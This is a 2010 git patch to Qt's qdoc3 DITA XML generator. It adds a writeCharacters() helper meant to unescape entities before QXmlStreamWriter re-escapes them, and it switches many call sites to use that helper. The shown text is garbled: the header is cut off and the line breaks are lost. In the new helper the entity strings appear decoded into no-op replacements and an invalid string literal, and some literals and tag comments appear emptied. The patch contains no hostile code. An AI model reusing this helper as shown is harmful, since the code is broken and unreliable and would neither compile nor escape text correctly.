17 00:00:00 2001 From: Martin Smith Date: Wed, 8 Dec 2010 12:13:53 +0100 Subject: qdoc: Fixed the double escaping problem. It's sort of ugly, because it just removes the escapeing that the code marker puts in so the XML stream writer can put the escaping back in again. It doesn't seem to slow it down at all, which is wierd. --- tools/qdoc3/ditaxmlgenerator.cpp | 230 ++++++++++++++++++++------------------- tools/qdoc3/ditaxmlgenerator.h | 1 + 2 files changed, 120 insertions(+), 111 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index b4a42ab..378800c 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -308,6 +308,21 @@ QString DitaXmlGenerator::sinceTitles[] = static bool showBrokenLinks = false; /*! + Quick, dirty, and very ugly. Unescape \a text + so QXmlStreamWriter::writeCharacters() can put + the escapes back in again! + */ +void DitaXmlGenerator::writeCharacters(const QString& text) +{ + QString t = text; + t = t.replace("<","<"); + t = t.replace(">",">"); + t = t.replace("&","&"); + t = t.replace(""","\""); + xmlWriter().writeCharacters(t); +} + +/*! Appends an element to the current XML stream with the \a href attribute and the \a text. */ @@ -317,11 +332,11 @@ void DitaXmlGenerator::addLink(const QString& href, if (!href.isEmpty()) { xmlWriter().writeStartElement("xref"); xmlWriter().writeAttribute("href", href); - xmlWriter().writeCharacters(text.toString()); + writeCharacters(text.toString()); xmlWriter().writeEndElement(); // } else { - xmlWriter().writeCharacters(text.toString()); + writeCharacters(text.toString()); } } @@ -644,11 +659,11 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, endLink(); } else { - xmlWriter().writeCharacters(protectEnc(atom->string())); + writeCharacters(protectEnc(atom->string())); } } else { - xmlWriter().writeCharacters(protectEnc(atom->string())); + writeCharacters(protectEnc(atom->string())); } break; case Atom::BaseName: @@ -673,13 +688,7 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, xmlWriter().writeCharacters("property"); else if (relative->type() == Node::Variable) xmlWriter().writeCharacters("variable"); - QStringList words = str.split(" "); - if (!(words.first() == "contains" || words.first() == "specifies" - || words.first() == "describes" || words.first() == "defines" - || words.first() == "holds" || words.first() == "determines")) - xmlWriter().writeCharacters(" holds "); - else - xmlWriter().writeCharacters(" "); + xmlWriter().writeCharacters(" holds "); } if (noLinks) { atom = atom->next(); @@ -690,12 +699,11 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, skipAhead++; atom = atom->next(); } - str[0] = str[0].toLower(); - if (str.right(1) == ".") - str.truncate(str.length() - 1); - str[0] = str[0].toUpper(); - xmlWriter().writeCharacters(str + "."); } + str[0] = str[0].toLower(); + if (str.right(1) == ".") + str.truncate(str.length() - 1); + writeCharacters(str + "."); break; case Atom::BriefRight: // if (relative->type() != Node::Fake) @@ -705,7 +713,7 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, case Atom::C: xmlWriter().writeStartElement(formattingLeftMap()[ATOM_FORMATTING_TELETYPE]); if (inLink) { - xmlWriter().writeCharacters(protectEnc(plainCode(atom->string()))); + writeCharacters(protectEnc(plainCode(atom->string()))); } else { writeText(atom->string(), marker, relative); @@ -740,7 +748,7 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, // fallthrough case Atom::CodeBad: xmlWriter().writeStartElement("codeblock"); - xmlWriter().writeCharacters(trimmedTrailing(plainCode(atom->string()))); + writeCharacters(trimmedTrailing(plainCode(atom->string()))); xmlWriter().writeEndElement(); // break; case Atom::FootnoteLeft: @@ -986,7 +994,7 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, xmlWriter().writeStartElement("p"); writeGuidAttribute(Doc::canonicalTitle((*s).name)); xmlWriter().writeAttribute("outputclass","h3"); - xmlWriter().writeCharacters(protectEnc((*s).name)); + writeCharacters(protectEnc((*s).name)); xmlWriter().writeEndElement(); //

    if (idx == Class) generateCompactList(0, marker, ncmap.value(), false, QString("Q")); @@ -1012,7 +1020,7 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, xmlWriter().writeStartElement("xref"); xmlWriter().writeAttribute("href",linkForNode(pmap.key(), 0)); QStringList pieces = fullName(pmap.key(), 0, marker).split("::"); - xmlWriter().writeCharacters(protectEnc(pieces.last())); + writeCharacters(protectEnc(pieces.last())); xmlWriter().writeEndElement(); // xmlWriter().writeCharacters(":"); xmlWriter().writeEndElement(); //

    @@ -1058,7 +1066,7 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, } if (!text.isEmpty()) { xmlWriter().writeStartElement("alt"); - xmlWriter().writeCharacters(protectEnc(text)); + writeCharacters(protectEnc(text)); xmlWriter().writeEndElement(); // } xmlWriter().writeEndElement(); // @@ -1184,8 +1192,8 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, xmlWriter().writeStartElement("strow"); xmlWriter().writeStartElement("stentry"); xmlWriter().writeStartElement("tt"); - xmlWriter().writeCharacters(protectEnc(plainCode(marker->markedUpEnumValue(atom->next()->string(), - relative)))); + writeCharacters(protectEnc(plainCode(marker->markedUpEnumValue(atom->next()->string(), + relative)))); xmlWriter().writeEndElement(); //
    xmlWriter().writeEndElement(); // xmlWriter().writeStartElement("stentry"); @@ -1200,7 +1208,7 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, xmlWriter().writeCharacters("?"); else { xmlWriter().writeStartElement("tt"); - xmlWriter().writeCharacters(protectEnc(itemValue)); + writeCharacters(protectEnc(itemValue)); xmlWriter().writeEndElement(); // } skipAhead = 1; @@ -1278,11 +1286,11 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, if (atom->string() == " ") break; if (atom->string().startsWith("&")) - xmlWriter().writeCharacters(atom->string()); + writeCharacters(atom->string()); else { xmlWriter().writeStartElement("pre"); xmlWriter().writeAttribute("outputclass","raw-html"); - xmlWriter().writeCharacters(atom->string()); + writeCharacters(atom->string()); xmlWriter().writeEndElement(); // } break; @@ -1323,7 +1331,7 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, generateLink(atom, relative, marker); } else { - xmlWriter().writeCharacters(protectEnc(atom->string())); + writeCharacters(protectEnc(atom->string())); } break; case Atom::TableLeft: @@ -1467,13 +1475,13 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, case Atom::UnhandledFormat: xmlWriter().writeStartElement("b"); xmlWriter().writeAttribute("outputclass","error"); - xmlWriter().writeCharacters("<Missing DITAXML>"); + xmlWriter().writeCharacters(""); xmlWriter().writeEndElement(); // break; case Atom::UnknownCommand: xmlWriter().writeStartElement("b"); xmlWriter().writeAttribute("outputclass","error unknown-command"); - xmlWriter().writeCharacters(protectEnc(atom->string())); + writeCharacters(protectEnc(atom->string())); xmlWriter().writeEndElement(); // break; case Atom::QmlText: @@ -1553,7 +1561,7 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark xmlWriter().writeAttribute("outputclass",attr); xmlWriter().writeStartElement("title"); xmlWriter().writeAttribute("outputclass","h2"); - xmlWriter().writeCharacters(protectEnc((*s).name)); + writeCharacters(protectEnc((*s).name)); xmlWriter().writeEndElement(); // generateSection(s->members, inner, marker, CodeMarker::Summary); generateSectionInheritedList(*s, inner, marker); @@ -1566,7 +1574,7 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark xmlWriter().writeAttribute("outputclass",attr); xmlWriter().writeStartElement("title"); xmlWriter().writeAttribute("outputclass","h2"); - xmlWriter().writeCharacters(protectEnc(name)); + writeCharacters(protectEnc(name)); xmlWriter().writeEndElement(); // generateSection(s->reimpMembers, inner, marker, CodeMarker::Summary); generateSectionInheritedList(*s, inner, marker); @@ -1692,7 +1700,7 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark xmlWriter().writeAttribute("outputclass",attr); xmlWriter().writeStartElement("title"); xmlWriter().writeAttribute("outputclass","h2"); - xmlWriter().writeCharacters(protectEnc((*s).name)); + writeCharacters(protectEnc((*s).name)); xmlWriter().writeEndElement(); // generateSection(s->members, inner, marker, CodeMarker::Summary); generateSectionInheritedList(*s, inner, marker); @@ -1705,7 +1713,7 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark xmlWriter().writeAttribute("outputclass",attr); xmlWriter().writeStartElement("title"); xmlWriter().writeAttribute("outputclass","h2"); - xmlWriter().writeCharacters(protectEnc(name)); + writeCharacters(protectEnc(name)); xmlWriter().writeEndElement(); // generateSection(s->reimpMembers, inner, marker, CodeMarker::Summary); generateSectionInheritedList(*s, inner, marker); @@ -1812,7 +1820,7 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark xmlWriter().writeAttribute("outputclass",attr); xmlWriter().writeStartElement("title"); xmlWriter().writeAttribute("outputclass","h2"); - xmlWriter().writeCharacters(protectEnc((*s).name)); + writeCharacters(protectEnc((*s).name)); xmlWriter().writeEndElement(); // generateSection(s->members, inner, marker, CodeMarker::Summary); generateSectionInheritedList(*s, inner, marker); @@ -1825,7 +1833,7 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark xmlWriter().writeAttribute("outputclass",attr); xmlWriter().writeStartElement("title"); xmlWriter().writeAttribute("outputclass","h2"); - xmlWriter().writeCharacters(protectEnc(name)); + writeCharacters(protectEnc(name)); xmlWriter().writeEndElement(); // generateSection(s->reimpMembers, inner, marker, CodeMarker::Summary); generateSectionInheritedList(*s, inner, marker); @@ -1928,7 +1936,7 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark xmlWriter().writeAttribute("outputclass",attr); xmlWriter().writeStartElement("title"); xmlWriter().writeAttribute("outputclass","h2"); - xmlWriter().writeCharacters(protectEnc((*s).name)); + writeCharacters(protectEnc((*s).name)); xmlWriter().writeEndElement(); // generateQmlSummary(*s,qcn,marker); //generateSection(s->members, inner, marker, CodeMarker::Summary); @@ -1954,7 +1962,7 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark xmlWriter().writeAttribute("outputclass",attr); xmlWriter().writeStartElement("title"); xmlWriter().writeAttribute("outputclass","h2"); - xmlWriter().writeCharacters(protectEnc((*s).name)); + writeCharacters(protectEnc((*s).name)); xmlWriter().writeEndElement(); // NodeList::ConstIterator m = (*s).members.begin(); while (m != (*s).members.end()) { @@ -1981,7 +1989,7 @@ void DitaXmlGenerator::writeXrefListItem(const QString& link, const QString& tex xmlWriter().writeStartElement("li"); xmlWriter().writeStartElement("xref"); xmlWriter().writeAttribute("href",link); - xmlWriter().writeCharacters(text); + writeCharacters(text); xmlWriter().writeEndElement(); // xmlWriter().writeEndElement(); // } @@ -2088,7 +2096,7 @@ void DitaXmlGenerator::writeLink(const Node* node, xmlWriter().writeAttribute("href", link); xmlWriter().writeAttribute("role", role); xmlWriter().writeStartElement("linktext"); - xmlWriter().writeCharacters(text); + writeCharacters(text); xmlWriter().writeEndElement(); // xmlWriter().writeEndElement(); // } @@ -2237,7 +2245,7 @@ void DitaXmlGenerator::generateHeader(const Node* node, if (!outputclass.isEmpty()) xmlWriter().writeAttribute("outputclass",outputclass); xmlWriter().writeStartElement(nameElement); // or <apiName> - xmlWriter().writeCharacters(name); + writeCharacters(name); xmlWriter().writeEndElement(); // or } @@ -2605,7 +2613,7 @@ void DitaXmlGenerator::generateAnnotatedList(const Node* relative, else { xmlWriter().writeStartElement("entry"); xmlWriter().writeStartElement("p"); - xmlWriter().writeCharacters(protectEnc(node->doc().briefText().toString())); // zzz + writeCharacters(protectEnc(node->doc().briefText().toString())); // zzz xmlWriter().writeEndElement(); //

    xmlWriter().writeEndElement(); // } @@ -3030,7 +3038,7 @@ void DitaXmlGenerator::generateOverviewList(const Node* relative, CodeMarker* /* xmlWriter().writeAttribute("outputclass","h3"); xmlWriter().writeStartElement("xref"); xmlWriter().writeAttribute("href",linkForNode(groupNode, relative)); - xmlWriter().writeCharacters(protectEnc(groupNode->fullTitle())); + writeCharacters(protectEnc(groupNode->fullTitle())); xmlWriter().writeEndElement(); // xmlWriter().writeEndElement(); //

    if (fakeNodeMap[groupNode].count() == 0) @@ -3044,7 +3052,7 @@ void DitaXmlGenerator::generateOverviewList(const Node* relative, CodeMarker* /* xmlWriter().writeStartElement("li"); xmlWriter().writeStartElement("xref"); xmlWriter().writeAttribute("href",linkForNode(fakeNode, relative)); - xmlWriter().writeCharacters(protectEnc(title)); + writeCharacters(protectEnc(title)); xmlWriter().writeEndElement(); // xmlWriter().writeEndElement(); // } @@ -3065,7 +3073,7 @@ void DitaXmlGenerator::generateOverviewList(const Node* relative, CodeMarker* /* xmlWriter().writeStartElement("li"); xmlWriter().writeStartElement("xref"); xmlWriter().writeAttribute("href",linkForNode(fakeNode, relative)); - xmlWriter().writeCharacters(protectEnc(title)); + writeCharacters(protectEnc(title)); xmlWriter().writeEndElement(); // xmlWriter().writeEndElement(); // } @@ -3120,14 +3128,14 @@ void DitaXmlGenerator::generateSectionInheritedList(const Section& section, else text += section.pluralMember; text += " inherited from "; - xmlWriter().writeCharacters(text); + writeCharacters(text); xmlWriter().writeStartElement("xref"); // zzz text = fileName((*p).first) + "#"; text += DitaXmlGenerator::cleanRef(section.name.toLower()); xmlWriter().writeAttribute("href",text); text = protectEnc(marker->plainFullName((*p).first, relative)); - xmlWriter().writeCharacters(text); + writeCharacters(text); xmlWriter().writeEndElement(); // xmlWriter().writeEndElement(); // ++p; @@ -3269,7 +3277,7 @@ void DitaXmlGenerator::writeText(const QString& markedCode, const Node* n = 0; if (k == 0) { // <@link> if (!html.isEmpty()) { - xmlWriter().writeCharacters(html); + writeCharacters(html); html.clear(); } n = CodeMarker::nodeForString(par1.toString()); @@ -3278,25 +3286,25 @@ void DitaXmlGenerator::writeText(const QString& markedCode, } else if (k == 4) { // <@param> if (!html.isEmpty()) { - xmlWriter().writeCharacters(html); + writeCharacters(html); html.clear(); } xmlWriter().writeStartElement("i"); - xmlWriter().writeCharacters(arg.toString()); + writeCharacters(arg.toString()); xmlWriter().writeEndElement(); // } else if (k == 5) { // <@extra> if (!html.isEmpty()) { - xmlWriter().writeCharacters(html); + writeCharacters(html); html.clear(); } xmlWriter().writeStartElement("tt"); - xmlWriter().writeCharacters(arg.toString()); + writeCharacters(arg.toString()); xmlWriter().writeEndElement(); // } else { if (!html.isEmpty()) { - xmlWriter().writeCharacters(html); + writeCharacters(html); html.clear(); } par1 = QStringRef(); @@ -3328,7 +3336,7 @@ void DitaXmlGenerator::writeText(const QString& markedCode, } if (!html.isEmpty()) { - xmlWriter().writeCharacters(html); + writeCharacters(html); } } @@ -3341,7 +3349,7 @@ void DitaXmlGenerator::generateLink(const Atom* atom, if (funcLeftParen.indexIn(atom->string()) != -1 && marker->recognizeLanguage("Cpp")) { // hack for C++: move () outside of link int k = funcLeftParen.pos(1); - xmlWriter().writeCharacters(protectEnc(atom->string().left(k))); + writeCharacters(protectEnc(atom->string().left(k))); if (link.isEmpty()) { if (showBrokenLinks) xmlWriter().writeEndElement(); // @@ -3349,7 +3357,7 @@ void DitaXmlGenerator::generateLink(const Atom* atom, else xmlWriter().writeEndElement(); // inLink = false; - xmlWriter().writeCharacters(protectEnc(atom->string().mid(k))); + writeCharacters(protectEnc(atom->string().mid(k))); } else if (marker->recognizeLanguage("Java")) { // hack for Java: remove () and use when appropriate @@ -3358,13 +3366,13 @@ void DitaXmlGenerator::generateLink(const Atom* atom, if (tt) xmlWriter().writeStartElement("tt"); if (func) - xmlWriter().writeCharacters(protectEnc(atom->string().left(atom->string().length() - 2))); + writeCharacters(protectEnc(atom->string().left(atom->string().length() - 2))); else - xmlWriter().writeCharacters(protectEnc(atom->string())); + writeCharacters(protectEnc(atom->string())); xmlWriter().writeEndElement(); // } else - xmlWriter().writeCharacters(protectEnc(atom->string())); + writeCharacters(protectEnc(atom->string())); } QString DitaXmlGenerator::cleanRef(const QString& ref) @@ -3699,7 +3707,7 @@ void DitaXmlGenerator::generateFullName(const Node* apparentNode, xmlWriter().writeStartElement("xref"); QString href = linkForNode(actualNode, relative); xmlWriter().writeAttribute("href",href); - xmlWriter().writeCharacters(protectEnc(fullName(apparentNode, relative, marker))); + writeCharacters(protectEnc(fullName(apparentNode, relative, marker))); xmlWriter().writeEndElement(); // } @@ -4417,7 +4425,7 @@ void DitaXmlGenerator::writeDerivations(const ClassNode* cn, CodeMarker* marker) xmlWriter().writeStartElement(CXXCLASSBASECLASS); QString attr = fileName((*r).node) + "#" + (*r).node->guid(); xmlWriter().writeAttribute("href",attr); - xmlWriter().writeCharacters(marker->plainFullName((*r).node)); + writeCharacters(marker->plainFullName((*r).node)); xmlWriter().writeEndElement(); // // not included: or @@ -4529,7 +4537,7 @@ void DitaXmlGenerator::writeFunctions(const Section& s, xmlWriter().writeAttribute("class","signal"); else if (fn->metaness() == FunctionNode::Slot) xmlWriter().writeAttribute("class","slot"); - xmlWriter().writeCharacters(fn->name()); + writeCharacters(fn->name()); xmlWriter().writeEndElement(); // generateBrief(fn,marker); @@ -4589,7 +4597,7 @@ void DitaXmlGenerator::writeFunctions(const Section& s, } else { xmlWriter().writeStartElement(CXXFUNCTIONDECLAREDTYPE); - xmlWriter().writeCharacters(fn->returnType()); + writeCharacters(fn->returnType()); xmlWriter().writeEndElement(); // } @@ -4598,11 +4606,11 @@ void DitaXmlGenerator::writeFunctions(const Section& s, QString fq = fullQualification(fn); if (!fq.isEmpty()) { xmlWriter().writeStartElement(CXXFUNCTIONSCOPEDNAME); - xmlWriter().writeCharacters(fq); + writeCharacters(fq); xmlWriter().writeEndElement(); // } xmlWriter().writeStartElement(CXXFUNCTIONPROTOTYPE); - xmlWriter().writeCharacters(fn->signature(true)); + writeCharacters(fn->signature(true)); xmlWriter().writeEndElement(); // QString fnl = fn->signature(false); @@ -4613,7 +4621,7 @@ void DitaXmlGenerator::writeFunctions(const Section& s, ++idx; fnl = fn->parent()->name() + "::" + fnl.mid(idx); xmlWriter().writeStartElement(CXXFUNCTIONNAMELOOKUP); - xmlWriter().writeCharacters(fnl); + writeCharacters(fnl); xmlWriter().writeEndElement(); // if (!fn->isInternal() && fn->isReimp() && fn->reimplementedFrom() != 0) { @@ -4621,7 +4629,7 @@ void DitaXmlGenerator::writeFunctions(const Section& s, if (rfn && !rfn->isInternal()) { xmlWriter().writeStartElement(CXXFUNCTIONREIMPLEMENTED); xmlWriter().writeAttribute("href",rfn->ditaXmlHref()); - xmlWriter().writeCharacters(marker->plainFullName(rfn)); + writeCharacters(marker->plainFullName(rfn)); xmlWriter().writeEndElement(); // } } @@ -4658,19 +4666,19 @@ void DitaXmlGenerator::writeParameters(const FunctionNode* fn) while (p != parameters.end()) { xmlWriter().writeStartElement(CXXFUNCTIONPARAMETER); xmlWriter().writeStartElement(CXXFUNCTIONPARAMETERDECLAREDTYPE); - xmlWriter().writeCharacters((*p).leftType()); + writeCharacters((*p).leftType()); if (!(*p).rightType().isEmpty()) - xmlWriter().writeCharacters((*p).rightType()); + writeCharacters((*p).rightType()); xmlWriter().writeEndElement(); // xmlWriter().writeStartElement(CXXFUNCTIONPARAMETERDECLARATIONNAME); - xmlWriter().writeCharacters((*p).name()); + writeCharacters((*p).name()); xmlWriter().writeEndElement(); // // not included: if (!(*p).defaultValue().isEmpty()) { xmlWriter().writeStartElement(CXXFUNCTIONPARAMETERDEFAULTVALUE); - xmlWriter().writeCharacters((*p).defaultValue()); + writeCharacters((*p).defaultValue()); xmlWriter().writeEndElement(); // } @@ -4699,7 +4707,7 @@ void DitaXmlGenerator::writeEnumerations(const Section& s, if (!attribute.isEmpty()) xmlWriter().writeAttribute("outputclass",attribute); xmlWriter().writeStartElement("apiName"); - xmlWriter().writeCharacters(en->name()); + writeCharacters(en->name()); xmlWriter().writeEndElement(); // generateBrief(en,marker); @@ -4714,20 +4722,20 @@ void DitaXmlGenerator::writeEnumerations(const Section& s, QString fq = fullQualification(en); if (!fq.isEmpty()) { xmlWriter().writeStartElement(CXXENUMERATIONSCOPEDNAME); - xmlWriter().writeCharacters(fq); + writeCharacters(fq); xmlWriter().writeEndElement(); // } const QList& items = en->items(); if (!items.isEmpty()) { xmlWriter().writeStartElement(CXXENUMERATIONPROTOTYPE); - xmlWriter().writeCharacters(en->name()); + writeCharacters(en->name()); xmlWriter().writeCharacters(" = { "); QList::ConstIterator i = items.begin(); while (i != items.end()) { - xmlWriter().writeCharacters((*i).name()); + writeCharacters((*i).name()); if (!(*i).value().isEmpty()) { xmlWriter().writeCharacters(" = "); - xmlWriter().writeCharacters((*i).value()); + writeCharacters((*i).value()); } ++i; if (i != items.end()) @@ -4738,7 +4746,7 @@ void DitaXmlGenerator::writeEnumerations(const Section& s, } xmlWriter().writeStartElement(CXXENUMERATIONNAMELOOKUP); - xmlWriter().writeCharacters(en->parent()->name() + "::" + en->name()); + writeCharacters(en->parent()->name() + "::" + en->name()); xmlWriter().writeEndElement(); // // not included: @@ -4749,20 +4757,20 @@ void DitaXmlGenerator::writeEnumerations(const Section& s, while (i != items.end()) { xmlWriter().writeStartElement(CXXENUMERATOR); xmlWriter().writeStartElement("apiName"); - xmlWriter().writeCharacters((*i).name()); + writeCharacters((*i).name()); xmlWriter().writeEndElement(); // QString fq = fullQualification(en->parent()); if (!fq.isEmpty()) { xmlWriter().writeStartElement(CXXENUMERATORSCOPEDNAME); - xmlWriter().writeCharacters(fq + "::" + (*i).name()); + writeCharacters(fq + "::" + (*i).name()); xmlWriter().writeEndElement(); // } xmlWriter().writeStartElement(CXXENUMERATORPROTOTYPE); - xmlWriter().writeCharacters((*i).name()); + writeCharacters((*i).name()); xmlWriter().writeEndElement(); // xmlWriter().writeStartElement(CXXENUMERATORNAMELOOKUP); - xmlWriter().writeCharacters(en->parent()->name() + "::" + (*i).name()); + writeCharacters(en->parent()->name() + "::" + (*i).name()); xmlWriter().writeEndElement(); // if (!(*i).value().isEmpty()) { @@ -4818,7 +4826,7 @@ void DitaXmlGenerator::writeTypedefs(const Section& s, if (!attribute.isEmpty()) xmlWriter().writeAttribute("outputclass",attribute); xmlWriter().writeStartElement("apiName"); - xmlWriter().writeCharacters(tn->name()); + writeCharacters(tn->name()); xmlWriter().writeEndElement(); // generateBrief(tn,marker); @@ -4835,14 +4843,14 @@ void DitaXmlGenerator::writeTypedefs(const Section& s, QString fq = fullQualification(tn); if (!fq.isEmpty()) { xmlWriter().writeStartElement(CXXTYPEDEFSCOPEDNAME); - xmlWriter().writeCharacters(fq); + writeCharacters(fq); xmlWriter().writeEndElement(); // } // not included: xmlWriter().writeStartElement(CXXTYPEDEFNAMELOOKUP); - xmlWriter().writeCharacters(tn->parent()->name() + "::" + tn->name()); + writeCharacters(tn->parent()->name() + "::" + tn->name()); xmlWriter().writeEndElement(); // // not included: @@ -4881,7 +4889,7 @@ void DitaXmlGenerator::writeProperties(const Section& s, if (!attribute.isEmpty()) xmlWriter().writeAttribute("outputclass",attribute); xmlWriter().writeStartElement("apiName"); - xmlWriter().writeCharacters(pn->name()); + writeCharacters(pn->name()); xmlWriter().writeEndElement(); // generateBrief(pn,marker); @@ -4900,21 +4908,21 @@ void DitaXmlGenerator::writeProperties(const Section& s, if (!pn->qualifiedDataType().isEmpty()) { xmlWriter().writeStartElement(CXXVARIABLEDECLAREDTYPE); - xmlWriter().writeCharacters(pn->qualifiedDataType()); + writeCharacters(pn->qualifiedDataType()); xmlWriter().writeEndElement(); // } QString fq = fullQualification(pn); if (!fq.isEmpty()) { xmlWriter().writeStartElement(CXXVARIABLESCOPEDNAME); - xmlWriter().writeCharacters(fq); + writeCharacters(fq); xmlWriter().writeEndElement(); // } xmlWriter().writeStartElement(CXXVARIABLEPROTOTYPE); xmlWriter().writeCharacters("Q_PROPERTY("); - xmlWriter().writeCharacters(pn->qualifiedDataType()); + writeCharacters(pn->qualifiedDataType()); xmlWriter().writeCharacters(" "); - xmlWriter().writeCharacters(pn->name()); + writeCharacters(pn->name()); writePropertyParameter("READ",pn->getters()); writePropertyParameter("WRITE",pn->setters()); writePropertyParameter("RESET",pn->resetters()); @@ -4922,14 +4930,14 @@ void DitaXmlGenerator::writeProperties(const Section& s, if (pn->isDesignable() != pn->designableDefault()) { xmlWriter().writeCharacters(" DESIGNABLE "); if (!pn->runtimeDesignabilityFunction().isEmpty()) - xmlWriter().writeCharacters(pn->runtimeDesignabilityFunction()); + writeCharacters(pn->runtimeDesignabilityFunction()); else xmlWriter().writeCharacters(pn->isDesignable() ? "true" : "false"); } if (pn->isScriptable() != pn->scriptableDefault()) { xmlWriter().writeCharacters(" SCRIPTABLE "); if (!pn->runtimeScriptabilityFunction().isEmpty()) - xmlWriter().writeCharacters(pn->runtimeScriptabilityFunction()); + writeCharacters(pn->runtimeScriptabilityFunction()); else xmlWriter().writeCharacters(pn->isScriptable() ? "true" : "false"); } @@ -4949,14 +4957,14 @@ void DitaXmlGenerator::writeProperties(const Section& s, xmlWriter().writeEndElement(); // xmlWriter().writeStartElement(CXXVARIABLENAMELOOKUP); - xmlWriter().writeCharacters(pn->parent()->name() + "::" + pn->name()); + writeCharacters(pn->parent()->name() + "::" + pn->name()); xmlWriter().writeEndElement(); // if (pn->overriddenFrom() != 0) { PropertyNode* opn = (PropertyNode*)pn->overriddenFrom(); xmlWriter().writeStartElement(CXXVARIABLEREIMPLEMENTED); xmlWriter().writeAttribute("href",opn->ditaXmlHref()); - xmlWriter().writeCharacters(marker->plainFullName(opn)); + writeCharacters(marker->plainFullName(opn)); xmlWriter().writeEndElement(); // } @@ -4993,7 +5001,7 @@ void DitaXmlGenerator::writeDataMembers(const Section& s, if (!attribute.isEmpty()) xmlWriter().writeAttribute("outputclass",attribute); xmlWriter().writeStartElement("apiName"); - xmlWriter().writeCharacters(vn->name()); + writeCharacters(vn->name()); xmlWriter().writeEndElement(); // generateBrief(vn,marker); @@ -5018,28 +5026,28 @@ void DitaXmlGenerator::writeDataMembers(const Section& s, // , xmlWriter().writeStartElement(CXXVARIABLEDECLAREDTYPE); - xmlWriter().writeCharacters(vn->leftType()); + writeCharacters(vn->leftType()); if (!vn->rightType().isEmpty()) - xmlWriter().writeCharacters(vn->rightType()); + writeCharacters(vn->rightType()); xmlWriter().writeEndElement(); // QString fq = fullQualification(vn); if (!fq.isEmpty()) { xmlWriter().writeStartElement(CXXVARIABLESCOPEDNAME); - xmlWriter().writeCharacters(fq); + writeCharacters(fq); xmlWriter().writeEndElement(); // } xmlWriter().writeStartElement(CXXVARIABLEPROTOTYPE); - xmlWriter().writeCharacters(vn->leftType() + " "); - //xmlWriter().writeCharacters(vn->parent()->name() + "::" + vn->name()); - xmlWriter().writeCharacters(vn->name()); + writeCharacters(vn->leftType() + " "); + //writeCharacters(vn->parent()->name() + "::" + vn->name()); + writeCharacters(vn->name()); if (!vn->rightType().isEmpty()) - xmlWriter().writeCharacters(vn->rightType()); + writeCharacters(vn->rightType()); xmlWriter().writeEndElement(); // xmlWriter().writeStartElement(CXXVARIABLENAMELOOKUP); - xmlWriter().writeCharacters(vn->parent()->name() + "::" + vn->name()); + writeCharacters(vn->parent()->name() + "::" + vn->name()); xmlWriter().writeEndElement(); // // not included: @@ -5078,7 +5086,7 @@ void DitaXmlGenerator::writeMacros(const Section& s, if (!attribute.isEmpty()) xmlWriter().writeAttribute("outputclass",attribute); xmlWriter().writeStartElement("apiName"); - xmlWriter().writeCharacters(fn->name()); + writeCharacters(fn->name()); xmlWriter().writeEndElement(); // generateBrief(fn,marker); @@ -5092,7 +5100,7 @@ void DitaXmlGenerator::writeMacros(const Section& s, xmlWriter().writeStartElement(CXXDEFINEPROTOTYPE); xmlWriter().writeCharacters("#define "); - xmlWriter().writeCharacters(fn->name()); + writeCharacters(fn->name()); if (fn->metaness() == FunctionNode::MacroWithParams) { QStringList params = fn->parameterNames(); if (!params.isEmpty()) { @@ -5101,7 +5109,7 @@ void DitaXmlGenerator::writeMacros(const Section& s, if (params[i].isEmpty()) xmlWriter().writeCharacters("..."); else - xmlWriter().writeCharacters(params[i]); + writeCharacters(params[i]); if ((i+1) < params.size()) xmlWriter().writeCharacters(", "); } @@ -5111,14 +5119,14 @@ void DitaXmlGenerator::writeMacros(const Section& s, xmlWriter().writeEndElement(); // xmlWriter().writeStartElement(CXXDEFINENAMELOOKUP); - xmlWriter().writeCharacters(fn->name()); + writeCharacters(fn->name()); xmlWriter().writeEndElement(); // if (fn->reimplementedFrom() != 0) { FunctionNode* rfn = (FunctionNode*)fn->reimplementedFrom(); xmlWriter().writeStartElement(CXXDEFINEREIMPLEMENTED); xmlWriter().writeAttribute("href",rfn->ditaXmlHref()); - xmlWriter().writeCharacters(marker->plainFullName(rfn)); + writeCharacters(marker->plainFullName(rfn)); xmlWriter().writeEndElement(); // } @@ -5129,7 +5137,7 @@ void DitaXmlGenerator::writeMacros(const Section& s, for (int i = 0; i < params.size(); ++i) { xmlWriter().writeStartElement(CXXDEFINEPARAMETER); xmlWriter().writeStartElement(CXXDEFINEPARAMETERDECLARATIONNAME); - xmlWriter().writeCharacters(params[i]); + writeCharacters(params[i]); xmlWriter().writeEndElement(); // // not included: @@ -5168,9 +5176,9 @@ void DitaXmlGenerator::writePropertyParameter(const QString& tag, const NodeList NodeList::const_iterator n = nlist.begin(); while (n != nlist.end()) { xmlWriter().writeCharacters(" "); - xmlWriter().writeCharacters(tag); + writeCharacters(tag); xmlWriter().writeCharacters(" "); - xmlWriter().writeCharacters((*n)->name()); + writeCharacters((*n)->name()); ++n; } } @@ -5255,7 +5263,7 @@ void DitaXmlGenerator::writeDetailedDescription(const Node* node, xmlWriter().writeAttribute("outputclass","details"); xmlWriter().writeStartElement("title"); xmlWriter().writeAttribute("outputclass","h2"); - xmlWriter().writeCharacters(title); + writeCharacters(title); xmlWriter().writeEndElement(); // } else { 